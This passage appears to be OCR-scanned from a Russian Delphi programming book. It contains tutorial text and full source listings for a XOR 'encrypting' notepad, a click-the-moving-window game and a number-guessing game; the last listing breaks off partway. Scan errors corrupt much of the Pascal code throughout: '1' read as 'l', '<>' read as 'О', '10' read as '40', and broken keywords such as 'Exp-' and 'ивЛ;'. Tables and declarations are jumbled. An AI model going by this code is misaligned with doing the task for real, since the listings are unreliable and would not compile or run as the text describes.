Перед тем как открыть диалоговое окно выбора шрифта, мы опре-деляем все текущие настройки шрифта, чтобы затем отобразить их вдиалоговом окне. После того как пользователь нажал в этом окне кноп-ку ОК, все выбранные настройки шрифта применяются к полю Memo.
Теперь осталось только реализовать автоматическую загрузку фай-лов, связанных с нашим блокнотом в файл-менеджерах. Для этого соз-дадим обработчик события OnCreate главной формы:procedure TForml.FormCreate(Sender: TObject);var
Str: String; //путь к параметруi: Integer;
beginxr num := '2'; //по умолчанию смещение « 2if (ParamCount > 0) thenbegin
Str := ParamStr(l);//Формируем путь к аргументуfor i:=2 to ParamCount do Str := Str +•__*.+ ParamStr(i) ;
end;{Если на вход программы поступили параметры, то отображаем
содержимое соответствующего файла в поле Memo }if Str О " then Memol.Lines.LoadFromFile(str);
end;
Здесь мы задаем начальное значение для смещения и проверяем,поступили ли на вход программы какие-либо параметры. Если да, то уз-
54 Блокнот-шифровальщик
наем путь к файлу и отображаем его содержимое в поле Memo. Примершифрования со смещением 10 представлен на рис. 7.3.
Файл Правка Формат
* (Длъкньдисг*еъвлдъЬ*исед6зхфувг*едипъащ*оъ1цйдйд*е1ьЕл [
дък*одбмпэ*лсшц*ед*аъкгэпг*жпъп*эк*шъв*абкыык*шдээдыш
вС
Рис. 7.3. Пример шифрования со смещением 10
Полный исходный код модуляПолный исходный код модуля программы Блокнот-шифровальщик
представлен в листинге 7.1.
Листинг 7.1. Модуль программы Блокнот-шифровальщик
unit Unitl
interface
uses
Windows,
Controls
typeTForml =
Memol:
menul:
Filel:
Editl:
Messages, SysUtils, Variants, Classes, Graphics,
Forms, Dialogs, StdCtrls, Menus;
class(TForm)TMemo;
TMainMenu;TMenuItem;TMenuItem;
N1: TMenuItem;N2: TMenuItem;
N3: TMenuItem;
Полный исходный код модуля 55
Листинг 7.1. Продолжение
N4: TMenuItem;N5: TMenuItem;N7: TMenuItem;N8: TMenuItem;OpenDialogl: TOpenDialog;SaveDialogl: TSaveDialog;FontDialogl: TFontDialog;N6: TMenuItem;N9: TMenuItem;N10: TMenuItem;XoRl: TMenuItem;procedure NIClick(Sender: TObject);procedure N2Click(Sender: TObject);procedure N4Click(Sender: TObject);procedure N8Click(Sender: TObject);procedure N5Click(Sender: TObject);procedure N9Click(Sender: TObject);procedure NIOClick(Sender: TObject);procedure FormCreate(Sender: TObject);procedure XoRlClick(Sender: TObject);
private{ Private declarations }
public
{ Public declarations }end;
var
Forml: TForml;xr_num: string;
implementation($R *.dfm)
procedure TForml.NIClick(Sender : TObject);beginOpenDialogl.InitialDir := GetCurrentDir;if not OpenDialogl.Executethen ShowMessage('File not selected!')else //загружаем выбранный файл в Memo
Memol.Lines.LoadFromFile(OpenDialogl.FileName);end;
procedure TForml.N2Click(Sender: TObject);begin
SaveDialogl.InitialDir := GetCurrentDir;
56 Блокнот-шифровальщик
Листинг 7.1. Продолжение
if not SaveDialogl.Executethen ShowMessage('File not saved!')else //сохраняем в файлMemol.Lines.SaveToFile(SaveDialogl.FileName);
end;
procedure TForml.N4Click(Sender: TObject);begin
Close; //выход из программыend;
procedure TForml.N8Click(Sender: TObject);begin
Memol.lines.Clear; //очищаем Memoend;
procedure TForml.N5Click(Sender: TObject);var
xr: string; //зашифрованный текстi: integer; //счетчик цикла
beginfor i:=l to Length(Memol.Text) dobegin //перебираем каждый символ в тексте
//Выполняем указанное пользователем смещениеxr := xr + Chr(Ord(Memol.Text[i]) xor StrToInt(xr_num)
end;//заменяем оригинальный текст на зашифрованныйMemol.Text := xr;
end;
procedure TForml.N9Click(Sender: TObject);begin
if N9.Checked then //если флажок установленbeginN9.Checked := False; //сбрасываем флажок//Отображаем горизонтальную полосу прокруткиMemol.ScrollBars := ssBoth;
endelse begin //если флажок не установлен
N9.Checked := True; //устанавливаем флажок//убираем горизонтальную полосу прокруткиMemol.ScrollBars := ssVertical;
end;end;
Полный исходный код модуля 57
Листинг 7.1. Продолжение
procedure TForml.NIOClick(Sender: TObject);begin
//Определяем все настройки шрифта и отображаем их в окнеFontDialogl.Font.Color := Memol.Font.Color; //цвет шрифтаFontDialogl.Font.Style : = Memol.Font.Style; //стильFontDialogl.Font.Size := Memol.Font.Size; //размерFontDialogl.Font.Charset : = Memol.Font.Charset; //кодировкаFontDialogl.Font.Name := Memol.Font.Name; //название шрифтаif FontDialogl.Execute then begin
//применяем все выбранные настройкиMemol.Font.Color : = FontDialogl.Font.Color;Memol.Font.Style := FontDialogl.Font.Style;Memol.Font.Size := FontDialogl.Font.Size;Memol.Font.Charset := FontDialogl.Font.Charset;Memol.Font.Name : = FontDialogl.Font.Name;
endend;
procedure TForml.FormCreate(Sender: TObject);
var
Str:String; //путь к параметруi:Integer;
beginxr_num := '2'; //по умолчанию смещение = 2if (ParamCount > 0) thenbegin
Str := ParamStr(1);//Формируем путь к параметруfor i:=2 to ParamCount do Str := Str + ' ' + ParamStr(i);
end;
{Если на вход программы поступили параметры, то отображаемсодержимое соответствующего файла в поле Memo }if str о " then Memol.Lines.LoadFromFile(str);
end;
procedure TForml.XoRlClick(Sender: TObject);begin
if not InputQuery('XOR', 'Введите число xor:', xr_num)then exit;
end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r _ 0 7 .
58 Игра "Успей щелкнуть"
Глава 8
Игра "Успей щелкнуть"
Постановка задачиПо всему экрану мелькает форма, и цель игры — успеть щелкнуть
мышью на появившемся окне. Для победы необходимо "попасть" поокну десять раз. Следует учитывать, что при каждом "попадании" ско-рость перемещения окна увеличивается.
Разработка формыСоздадим новый проект Delphi. Мелькающее окно у нас будет не-
обычным: оно будет без заголовка и не прямоугольным, а эллиптиче-ской формы. Измените свойства формы согласно табл. 8.1.
Таблица 8.1. Свойства формы игры "Успей щелкнуть"
Свойство
B o r d e r S t y l e
F o r m S t y l e
C o l o r
H e i g h t
W i d t h
Значение
bsNone
f s S t a y O n T o p
c l W i n d o w T e x t
72
208
Пояснение
Окно программы будет отображаться без
границы и заголовка
Окно программы должно располагаться
поверх всех остальных окон, поскольку
игрок не всегда будет "попадать" по на-
шему окну, а значит своими "промахами"
будет активизировать другие окна
Цвет формы — черный
Высота
Ширина
Разместитете его свойства
на форме компонент Label категории Standard. Измени-согласно табл. 8.2.
Таблица 8.2. Свойства первого компонента L a b e l
Свойство
C a p t i o n
F o n t . C o l o r
Значение
П о п а д а н и я :
c l L i m e
Пояснение
Надпись метки
Цвет шрифта — светло-зеленый
Разработка формы 59
Таблица 8.2. Окончание
Свойство
Font.Name
Font.S ize
F o n t . S t y l e
L e f t
Top
Значение ,
C o u r i e r New
12
[ f s B o l d ]
16
16
Пояснение
Название шрифта
Размер шрифта
Начертание шрифта — полужирное
Отступ слева
Отступ сверху
Разместите на форме еще один компонент Label и измените егосвойства согласно табл. 8.3.
Таблица 8.3. Свойства второго компонента L a b e l
Свойство
Name
C a p t i o n
F o n t . C o l o r
Font.Name
F o n t . S i z e
F o n t . S t y l e
L e f t
Top
Значение
p o p a d
0
c l R e d
C o u r i e r New
16
[ f s B o l d ]
120
16
Пояснение
Новое имя компонента
Надпись метки
Цвет шрифта — красный
Название шрифта
Размер шрифта
Начертание шрифта — полужирное
Отступ слева
Отступ сверху
Разместите на форме третий компонент Label, который будет ото-бражать предельное число "попаданий", и измените его свойства со-гласно табл. 8.4.
Таблица 8.4. Свойства третьего компонента L a b e l
Свойство
C a p t i o n
F o n t . C o l o r
Font.Name
F o n t . S i z e
F o n t . S t y l e
L e f t
Top
Значение
/ 1 0
c l R e d
C o u r i e r New
16
[ f s B o l d ]
144
16
Пояснение
Надпись метки
Цвет шрифта — красный
Название шрифта
Размер шрифта
Начертание шрифта — полужирное
Отступ слева
Отступ сверху
Напоследок разместите на форме компонент Timer категории Sys-tem. Результат оформления формы должен соответствовать рис. 8.1.
60 Игра "Успей щелкнуть"
Рис. 8.1. Форма для игры "Успей щелкнуть"
Разработка программного кодаИзменение формы окна на эллиптическую реализуется в обработ-
чике события OnCreate формы. Для этого необходимо объявить гло-бальную переменную forma типа HRGN, которая будет содержать разме-ры окна:
varForml: TForml;forma: HRGN;
В обработчик события OnCreate добавьте следующий код:procedure TForml.FormCreate(Sender:begin
Randomize; //включаем генераторforma := CreateEllipticRgn(0, 0,
Forml.//применяем новый вид окнаSetWindowRgn(Handle, forma, True)
end;
TObject)
случайных
" "1
чиселForml.Width,
Height);
;
//вид окна
Здесь мы задаем окно в виде эллипса и применяем новый вид окна.Каждую секунду форма должна случайным образом менять свои
координаты в пределах экрана. Это будет реализовано в обработчикесобытия Timer 1. OnTimer:procedure TForml.TimerlTimer(Sender: TObject);
beginForml.Top := Random(Screen.Height) + 1; //случайная высотаForml.Left := Random(Screen.Width) + 1; //случайная ширина
end;
Здесь мы определяем высоту и ширину экрана, выбираем случай-ные координаты, не выходящее за пределы экрана, и перемещаем в нихокно программы.
Теперь выделите все компоненты и саму форму и создайте для нихобщий обработчик события OnMouseDown:procedure TForml.popadMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
Разработка программного кода 61
beginif StrToInt(popad.Caption) < 10 thenbegin //если попаданий меньше 10
//Перемещаем окно в случайную позицию по вертикалиForml.Top := Random(Screen.Height) + 1;//Изменяем положение по горизонталиForml.Left := Random(Screen.Width) + 1;//Увеличиваем счетчик "попаданий" на единицуpopad.Caption := IntToStr(StrToInt(popad.Caption) + 1) ;//Увеличиваем скорость перемещения окна на 100 мсTimerl.Interval := Timerl.Interval - 100;
end;
if popad.Caption = 40' thenbegin //если игрок попал 10 раз
Timerl.Enabled := False; //останавливаем игруForml.Position := poDesktopCenter; //окно- в центр экрана//сообщаем о победеShowMessage('Вы попали по окну 10 раз!');if Application.MessageBox('Игра', 'Играть еще раз?',
mb_yesno + mb taskmodal +mb_iconQuestion) = idYes
then {предлагаем сыграть еще раз}begin
popad.Caption := 'О1; //сброс результатов
//Придаем окну эллиптическую формуforma := CreateEllipticRgn(0, 0,
Forml.Width, Forml.Height);SetWindowRgn(Handle, forma, True);
//Устанавливаем начальную скорость перемещения окнаTimerl.Interval := 1000;Timerl.Enabled := True; //начинаем игру-
end
else Halt; //выход из игрыend;
end;
При .каждом "попадании" выполняется проверка: было ли это "по-падание" последним. Если да, то просто пополняем счетчик попаданийи увеличиваем скорость перемещения формы на 100 мс. Если игрок сде-лал последнее "попадание", то останавливаем игру, выводим окно вцентр экрана и показываем сообщение о том, что игра успешно оконче-на. После этого отображаем окно с вопросом: следует ли начинать игрузаново. Если пользователь отказывается играть, то просто выходим изпрограммы. Если пользователь хочет сыграть сначала, то обнуляем всерезультаты и начинаем игру заново.
62 Игра "Успей щелкнуть"
Окно программы в процессе игры представлено на рис. 8.2.
Рис. 8.2. Игра "Успей щелкнуть" в действии
Полный исходный код модуляПолный исходный код программного модуля игры "Успей щелк-
нуть" представлен в листинге 8.1.
Листинг 8.1. Программный модуль игры "Успей щелкнуть"
unit Unitl;
interface
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
typeTForml = class(TForm)
Label2: TLabel;popad: TLabel;Label3: TLabel;Timerl: TTimer;procedure FormCreate(Sender: TObject);procedure TimerITimer(Sender: TObject);procedure popadMouseDown(Sender: TObject;Button: TMouseButton; Shift: TShiftState; X, Y: Integer)
private( Private declarations }
public{ Public declarations }
end;
varForml: TForml;forma: HRGN;
implementation
{$R *.dfm}
Полный исходный код модуля 63
Листинг 8.1. Продолжение
procedure TForml.FormCreate(Sender: TObject);begin
Randomize; //включаем генератор случайных чиселforma := CreateEllipticRgn(0, 0, Forml.Width,
Forml.Height);//форма окна
//применяем новый вид окнаSetWindowRgn(Handle, forma, True);
end;
procedure TForml.TimerITimer(Sender: TObject);begin
forml.Top := Random(Screen.Height) + 1; //случайная высотаforml.Left := Random(Screen.Width) + 1; //случайная ширина
end;
procedure TForml.popadMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);begin
if StrToInt(popad.Caption) < 10 thenbegin //если попаданий меньше 10
//Перемещаем окно в случайную позицию по вертикалиForml.Top := Random(Screen.Height) + 1;//Изменяем положение по горизонталиForml.Left : = Random(Screen.Width) + 1;//Увеличиваем счетчик "попаданий" на единицуpopad.Caption := IntToStr(StrToInt(popad.Caption) + 1);//Увеличиваем скорость перемещения окна на 100 мсTimerI.Interval := Timerl.Interval - 100;
end;
if popad.Caption = '10' thenbegin //если игрок попал 10 раз
Timerl.Enabled := False; //останавливаем игруForml.Position := poDesktopCenter; //окно- в центр экрана//сообщаем о победе
ShowMessage('Вы попали по окну 10 раз!');if Application.MessageBox('Игра', 'Играть еще раз?',
mb_yesno + mb_taskmodal +mb_iconQuestion) = idYes
then {предлагаем сыграть еще раз}begin
popad.Caption := '0'; //сброс результатов//Придаем окну эллиптическую формуforma := CreateEllipticRgn(0, 0,
Forml.Width, Forml.Height);SetWindowRgn(Handle, forma, True);//Устанавливаем начальную скорость перемещения окна
64 Игра "Успей щелкнуть"
•. • • . • . - ; . . : • • • • . • : , • • . .
Листинг 8.1. ОкончаниеTimerl
Timerl
end
Interval :
Enabled : =
else Halt; //выход
end;
end;
end.
- 1000;
True; //начинаем игру
из игры
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 08.
Постановка задачи 65
Глава 9
"Угадывание чисел"
Постановка задачиРазработать игру, цель которой заключается в угадывании случай-
ного числа из заданного диапазона чисел. Дать возможность играть ссоперником или против компьютера.
Разработка формыСоздайте новый проект Delphi и присвойте свойству Caption (за-
головок) формы значение Игра. Угадывание чисел. Вверху формыбудут расположены элементы управления для настройки диапазона уга-дываемых чисел. Разместим на форме три компонента Label (метки)категории Standard и два компонента Edit (поле ввода) той же катего-рии. Изменим их свойства согласно табл. 9.1.
Таблица 9.1. Свойства компонентов для настройки диапазона угадываемых чисел
Компонент
L a b e l l
Label2
Label3
Свойство
Caption
Font.Style
L e f t
Top
Capt ion
F o n t . S t y l e
L e f t
Top
Capt ion
F o n t . S t y l e
L e f t
Top
Значение
Диапазон чисел:
[ f s B o l d ]
8
16
от
[ f s B o l d ]
104
16
до
[ f s B o l d ]
216
16
Пояснение
Надпись метки
Начертание шрифта —
полужирное
Отступ слева
Отступ сверху
Надпись метки
Начертание шрифта —
полужирное
Отступ слева
Отступ сверху
Надпись метки
Начертание шрифта —полужирное
Отступ слева
Отступ сверху
5 — 5-1212
66 Игра "Угадывание чисел"
Таблица 9.1. Окончание
Компонент
E d i t l
E d i t 2
Свойство
Name
T e x t
L e f t
Top
W i d t h
Name
T e x t
L e f t
Top
W i d t h
Значение
s t a r t
1
128
8
57
f i n i s h
1000
256
8
57
Пояснение
Новое имя поля, предназначенного для
ввода начального числа диапазона
Содержимое поля
Отступ слева
Отступ сверху
Ширина
Новое имя поля, предназначенного для
ввода конечного числа диапазона
Содержимое поля
Отступ слева
Отступ сверху
Ширина
Разместите на форме под этими компонентами еще один компонентLabel, назовите его p l l (свойство Name), а свойству Caption присвой-те значение Первый игрок:. Справа от метки pi 1 разместите компонентEdit, свойству Name которого присвойте значение chl , а свойствуT e x t — значение 0. Справа от поля chl разместите еще один компо-нент Label. Присвойте ему имя znakl и очистите свойство Caption.
Под компонентами p l l , chl и znakl разместите аналогичные ком-поненты для второго игрока, присвоив им имена р12, ch2 и znak2 со-ответственно. Свойству р12 .Caption присвойте значение Второй иг-рок:, свойству ch2.Text — значение 0, а свойство znak2 .Captionочистите. Поскольку по умолчанию игру будет начинать первый игрок,мы должны заблокировать ввод для второго игрока. Для этого изменитезначение свойства Enabled для компонентов сп2 и р12 на False.
Разместите на форме справа от компонентов znakl и znak2 ещеодин компонент Label и измените его свойства согласно табл. 9.2.
Таблица 9.2. Свойства нового компонента L a b e l
Свойство
Name
C a p t i o n
F o n t . C o l o r
Font.Name
F o n t . S i z e
Значение
X
X
c l R e d
C o u r i e r New
36
Пояснение
Новое имя компонента
Надпись метки
Цвет шрифта — красный
Название шрифта
Размер шрифта
Разработка программного кода 67
Таблица 9.2. Окончание
Свойство
F o n t . S t y l e
H e i g h t
Значение
[ f s B o l d ]
54
Пояснение
Начертание шрифта — полужирное
Высота метки
Ниже всех компонентов разместите компонент Checkbox (флажок)категории Standard. Присвойте его свойству Name значение comp, aсвойству Caption — значение Играть против компьютера (просле-дите также, чтобы свойство Checked было равно False).
Ниже разместите две кнопки (компонент Button категории Stan-dard), присвоив их свойству Caption значения Принять вариант иНовая игра. Полученная форма должна соответствовать рис. 9.1.
Ш Игра. Угадывание чисел
Днпазон чисел: от
Первый игрок: \"
до1000
| Играть против компьютера
; ; ; Принять вариант 1;
X
Новая игра
Рис. 9.1. Форма для игры "Угадывание чисел"
Разработка программного кодаПрежде всего, объявим переменные, которые будем использовать
varForml: TForml;num, j, i, kolvo, big, small: integer;maximum, minimum: array [1..100] of integer; {массивы
максимальных и минимальных чисел}
Переменная num соответствует случайно заданное число, перемен-ной kolvo — количество попыток, за которые число было отгадано, пе-ременной b i g — наибольшее число из названных, а переменнойsmall — наименьшее число из названных.
68 Игра "Угадывание чисел"
Теперь напишем две процедуры, которые в случае игры противкомпьютера будут определять границы нахождения числа. Процедураmin будет определять нижнюю границу, а процедура max — верхнюю.Объявим эти процедуры как закрытые члены класса формы:type
TForml - class(TForm)
private{ Privateprocedure
procedure
public( Public с
end;
declarations )min () ;max () ;
ieclarations }
После этого создадим сами процедуры в разделе implementation://процедура нахождения наименьшего числаprocedure TForml.min();
begin
for i: =1 to kolvo do begin
for j:=1 to kolvo do begin
(Если число меньше наименьшего,то оно становится наименьшим}if minimum[j] > small then small := minimum[j];
end;
end;
end;
//процедура нахождения наибольшего числа «procedure Tforml.max();var temp: integer;begin
temp := StrTolnt(finish.Text);for i:=1 to kolvo do begin
for j:=1 to kolvo do beginif temp > maximum[j] then
if maximumtj] > 0 then temp:=maximum[j]; (если число
больше наибольшего...}end;
end;if ( (temp <> 0) and (temp <> StrTolnt(finish.Text)) ) then
{... и если число входит в допустимый диапазон,то оно становится наибольшим}
big := temp;end;
Разработка программного кода 69
Рассмотрим процедуру, которая будет выполняться при созданииформы:procedure TForml.FormCreate(Sender: TObject);beginRandomize; //включаем генератор случайных чисел//загадываем случайное число из заданного диапазонаnum := Random(StrToInt(finish.Text) -
StrToInt(start.Text)) + StrToInt(start.Text);kolvo := 0; //обнуляем количество попытокbig := StrToInt(finish.Text); //самое большое числоsmall := StrToInt(start.Text); //самое маленькое число
end;
Сначала мы включаем генератор случайных чисел, затем выбираемслучайное число из заданного диапазона, и в конце устанавливаем длякомпьютера диапазон в пределах от наименьшего до наибольшего чис-ла. В дальнейшем мы будем постепенно сужать этот диапазон.
Самое главное событие — нажатие кнопки Принять вариант. Созда-дим для этого кнопки обработчик события OnClick:procedure TForml.Button2Click(Sender: TObject);begin
//увеличиваем количество попыток на единицуkolvo := kolvo + 1;if not сотр.Checked then //если идет игра с человекомbegin
if pll.Enabled then begin //если ход первого игрока//если вариант больше загаданного числа, ставим знак >if StrToInt(chl.Text) > num then znakl.Caption := '>';//если вариант меньше загаданного числа, ставим знак <if StrToInt(chl.Text) < nun then znakl.Caption :• '<';if StrToInt(chl.Text) • num then //если число угаданоbegin
znakl.Caption := '='; //изменим знак на "="//вместо знака "X" показываем загаданное числох.Caption := IntToStr(num);//выводим сообщение о победе первого игрокаShowMessage('Победил первый игрок!' + #13#10 +
'Число угадано эа ' + IntToStr(kolvo) +' попытки')
end;
//передаем ход второму игрокуpll.Enabled := False;chl.Enabled := False;ch2.Enabled := True;pl2.Enabled := True;Exit; //прерываем выполнение процедуры
70 Игра "Угадывание чисел"
end;if pl2.Enabled then begin //если ход второго игрока
{сравниваем загаданное число с вариантом второгоигрока и ставим соответствующий знак}if StrToInt(ch2.Text) > пшп then znak2.Caption := '>';if StrToInt(ch2.Text) < num then znak2.Caption := '<';if StrToInt(ch2.Text) = num thenbegin
znak2.Caption := ' =' ;
x.Caption := IntToStr(num);ShowMessage('Победил второй игрок!
1 + #13#10 +
'Число угадано За ' + IntToStr(kolvo) +1 попытки')
end;end;
//передаем ход первому игрокур12.Enabled := False;ch2.Enabled := False;chl.Enabled := True;pll.Enabled := True;Exp-
end;
if comp.Checked then begin //если игра против компьютера{проверяем вариант первого игрока и ставимсоответствующий знак}
if StrToInt(chl.Text) > num then znakl.Caption := '>';if StrToInt(chl.Text) < num then znakl.Caption := '<';if StrToInt(chl.Text) = num thenbegin
znakl.Caption := '=';
x.Caption := IntToStr(num);
ShowMessage('Вы победили!' + #13#10 +
'Число угадано за ' + IntToStr(kolvo) +' попытки');
Exit;end;
//если вариант первого игрока больше загаданного числа}if znakl.Caption = '>' thenbegin
maximum[kolvo] := StrToInt(chl.Text); {добавляемв массив наибольших чисел вариант первого игрока}
max(); //ищем наибольшее числоend;
//если вариант первого игрока меньше загаданного числа)if znakl.Caption = '<' then beginminimum[kolvo] := StrToInt(chl.Text); {добавляем число
в массив наименьших чисел, выданных первым игроком}
Разработка программного кода 71
min(); //ищем наименьшее числоend;
//после всех расчетов, компьютер выдает свой вариантch2.Text := IntToStr(Random(big - small) + small);
end;
//проверяем вариант компьютера и ставим соответствующий зьif StrToInt(ch2.Text) > num then znak2.Caption := '>';if StrToInt(ch2.Text) < num then znak2.Caption := '<';if StrToInt(ch2.Text) = num then begin
znak2.Caption := '=';x.Caption := IntToStr(num);ShowMessage('Вы проиграли!' + #13#10 +
'В этот раз победил компьютер!' + #13#10 +'Число угадано за ' + IntToStr(kolvo) +1 попытки');
end;end;
По нажатию кнопки Принять вариант мы проверяем, какой режимигры установлен: с другим игроком или против компьютера. Если мыиграем с человеком, то далее осуществляется проверка: кто из игроковвыдал свой вариант. Если это был первый игрок, то мы сравниваем еговариант ответа с загаданным числом и после этого отображаем соответ-ствующий знак или сообщаем о победе первого игрока, если числа рав-ны. Затем мы блокируем ввод с клавиатуры для первого игрока и раз-решаем ввести число второму игроку.
После того как второй игрок выдал свой вариант ответа, мы выпол-няем те же проверки, и, если число не угадано, вновь даем право попы-таться угадать загаданное число первому игроку. После того как кто-тоиз игроков дает вариант ответа, мы пополняем счетчик kolvo, чтобыпотом сообщить, сколько попыток использовалось, чтобы угадать чис-ло.
Если игра проходит против компьютера, то мы не разблокируемввод второго игрока вообще. Там просто будут отображаться варианты,выдаваемые компьютером. Каждый раз, перед тем как компьютер реша-ет, какой вариант ему выбрать, он анализирует вариант, выданный иг-роком. Если текущий вариант игрока больше загаданного числа, то мыдобавляем текущий вариант первого игрока в массив наибольших чисел.В этом массиве ищется самое маленькое число среди наибольших.
Если текущий вариант игрока меньше загаданного числа, то мы до-бавляем его в массив наименьших чисел. В этом массиве ищется самоебольшое число среди наименьших. Тем самым мы постоянно сокращаем
72 Игра "Угадывание чисел"
диапазон вариантов для компьютера. Все это продолжается до тех пор,пока игрок или компьютер не угадает загаданное число.
Для того чтобы можно было переключаться между режимами игры"с человеком" и "против компьютера", создадим обработчик событияOnclick для флажка сошр:procedure TForml.compClick(Sender: TObject);begin
if comp.Checked then begin //если флажок установлен//блокируем ввод от второго игрокаch2.Enabled := False;
р12.Enabled := False;
//включаем ввод от первого игрокаchl.Enabled := True;pll.Enabled := Truer-
endelse begin
//если игра идет с человеком, то//включаем ввод для второго игрокаch2.Enabled := True;р12.Enabled := True;
ивЛ;end;
procedure TForml.ButtonlClick(Sender: TObject);begin
if ((StrToInt(finish.Text) > StrToInt(start.Text)) and(StrToInt(start.Text) > 0) and(StrToInt(finish.Text) < 60000))
then (проверяем, не выходит ли заданное пользователем числоза допустимые пределы }
{загадаем случайное число в заданном диапазоне}num := Random(StrToInt(finish.Text) -
StrToInt(start.Text)) +StrToInt(start.Text)
else ShowMessage('Неверный диапазон!');//обнуляем все, и придаем программе начальный видznakl.Caption := '•; _znak2 . Caption : •= ' ' ;chl.Enabled :• True;ch2.Enabled := False;pll.Enabled := True;pl2.Enabled := False;x.Caption :« 'X';chl.Text :•» '0';ch2.Text := '0';
Полный исходный код модуля 73
I
//очистим массивы наибольших и наименьших чиселfor i:=1 to kolvo+1 dobeginminimum[i] := 0;maximum[i] := 0;
big := StrToInt(finish.Text); //наибольшее числоsmall := StrToInt(start.Text); //наименьшее число
end;
kolvo := 0; //количество использованных попытокend;
После того как пользователь указал диапазон, в котором должнонаходиться случайное число, мы проверяем, не является ли конечноезначение меньше начального. Проверяем также, не является ли началь-ное значение меньше нуля и не превышает ли конечное значение 60000.Если все нормально, то загадываем число в заданном диапазоне. Послеэтого обнуляем все значения и приводим программу к начальному виду.
Компилируем и запускаем программу на выполнение. Играв действии показана на рис. 9.2.
[игра. Угадывание чисел
Дкпазон чисел: от 300
Первый игрок: ]320
Второй игрок: |303 v »
jv Играть против компьютера
|Принять вариант!
до Р ^ —
320
Новая игра
Рис. 9.2. Игра "Угадывание чисел" в действии
Полный исходный код модуляПолный исходный код программного модуля игры "Угадывание чи-
сел" представлен в листинге 9.1.
74 Игра "Угадывание чисел"
Листинг 9.1. Программный модуль игры "Угадывание чисел"
| unit Unitl;
interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms,Dialogs, StdCtrls, ExtCtrls;
typeTForml = class(TForm)
Buttonl: TButton;Labell: TLabel;Label2: TLabel;start: TEdit;finish: TEdit;Label3: TLabel;pll: TLabel;chl: TEdit;pl2: TLabel;ch2: TEdit;comp: TCheckBox;Button2: TButton;x: TLabel;znakl: TLabel;znak2: TLabel;procedure FormCreate(Sender: TObject);procedure compClick(Sender: TObject);procedure ButtonlClick(Sender: TObject);procedure Button2Click(Sender: TObject);
private{ Private declarations }procedure min();procedure max();
public
{ Public declarations }end;
varForml: TForml;num, j, i, kolvo, big, small: integer;maximum, minimum: array [1..100] of integer; (массивы
максимальных и минимальных чисел}
implementation
Полный исходный код модуля 75
Листинг 9.1. Продолжениег _ _ _ _ _ _
//процедура нахождения наименьшего числаprocedure TForml.min();begin
for i:=l to kolvo do beginfor j:=l to kolvo do begin
{Если число меньше наименьшего,то оно становится наименьшим}if minimum[j] > small then small := minimum[j];
end;end;
end;
//процедура нахождения наибольшего числаprocedure Tforml.max();var
temp: integer;begin
temp := StrToInt(finish.Text);for i:=l to kolvo do begin
for j:=l to kolvo do beginif temp > maximumfj] then
if maximum[j] > 0 then temp:=maximum[j]; {если числобольше наибольшего...}
end;end;
if ( (temp <> 0) and (temp <> StrToInt(finish.Text)) ) then{... и если число входит в допустимый диапазон,то оно становится наибольшим}
big := temp;end;
procedure TForml.FormCreate(Sender: TObject);begin
Randomize; //включаем генератор случайных чисел//загадываем случайное число из заданного диапазонаnum := Random (StrToInt(finish.Text) -
StrToInt (start.Text)) + StrToInt(start.Text);kolvo := 0; //обнуляем количество попытокbig := StrToInt(finish.Text); //самое большое числоsmall := StrToInt(start.Text); //самое маленькое число
end;
procedure TForml.compClick(Sender: TObject);begin
76 Игра "Угадывание чисел"
Листинг 9.1. Продолжение
if сотр.Checked then begin //если флажок установлен//блокируем ввод от второго игрокаch2.Enabled := False;р12.Enabled := False;//включаем ввод от первого игрокаchl.Enabled := True;pll. Enabled :•= True;
endelse begin
//если игра идет с человеком, то//включаем ввод для второго игрока
ch2 .Enabled :• True;р12.Enabled := True;
end;end;
procedure TForml.ButtonlClick(Sender: TObject);begin
if ((StrToInt(finish.Text) > StrToInt(start.Text)) and(StrToInt(start.Text) > 0) and(StrToInt(finish.Text) < 60000))
then (проверяем, не выходит ли заданное пользователем число
за допустимые пределы }
(загадаем случайное число в заданном диапазоне}num :<= Random(StrToInt(finish.Text) -
StrToInt(start.Text)) +StrToInt(start.Text)
else ShowMessage('Неверный диапазон!');//обнуляем все, и придаем программе начальный видznakl.Caption :• '';znak2.Caption := '';chl.Enabled := True;ch2.Enabled := False;pll.Enabled := True;pl2.Enabled := False;x.Caption := 'X';chl.Text !- '0';ch2.Text :- '0';
//ОЧИСТИМ массивы наибольших и наименьших чиселfor i:=l to kolvo+1 dobeginminimum!i] := 0;maximum[i) := 0;
big := StrToInt(finish.Text); //наибольшее число
small :» StrToInt(start.Text); //наименьшее число
Полный исходный код модуля 77
Листинг 9.1. Продолжение
end;
kolvo := 0; //количество использованных попытокend;
procedure TForml.Button2Click(Sender: TObject);begin
//увеличиваем количество попыток на единицуkolvo := kolvo + 1;if not сотр.Checked then //если идет игра с человекомbegin
if pll.Enabled then begin //если ход первого игрока//если вариант больше загаданного числа, ставим знак >if StrToInt(chl.Text) > num then znakl.Caption !* '>';//если вариант меньше загаданного числа, ставим знак <if StrToInt(chl.Text) < num then znakl.Caption : = '<';if StrToInt(chl.Text) = num then //если число угаданоbegin
znakl.Caption := ' = '; //изменим знак на "="//вместо знака "X" показываем загаданное числох.Caption !• IntToStr(num);
//выводим сообщение о победе первого игрокаShowMessage('Победил первый игрок!' + #13#10 +
'Число угадано за ' + IntToStr(kolvo) +' попытки')
end;
//передаем ход второму игрокуpll.Enabled := False;chl.Enabled := False;ch2.Enabled := True;pl2.Enabled := True;
Exit; //прерываем выполнение процедурыend;
if pl2.Enabled then begin //если ход второго игрока(сравниваем загаданное число с вариантом второгоигрока и ставим соответствующий знак}
if StrToInt (ch2.Text) > num then znak2.Caption := ' >' ;if StrToInt (ch2.Text) < num then znak2.Caption :- '<';if StrToInt(ch2.Text) - num thenbegin
znak2.Caption := '=';x.Caption := IntToStr(num);ShowMessage('Победил второй игрок!' + #13#10 +
'Число угадано за ' + IntToStr(kolvo) +' попытки')
end;end;
78 Игра "Угадывание чисел"
Листинг 9.1. Продолжение
//передаем ход первому игрокур12.Enabled u= False;ch2.Enabled := False;chl.Enabled := True;pll.Enabled := True;Exit;
end;if сотр.Checked then begin //если игра против компьютера
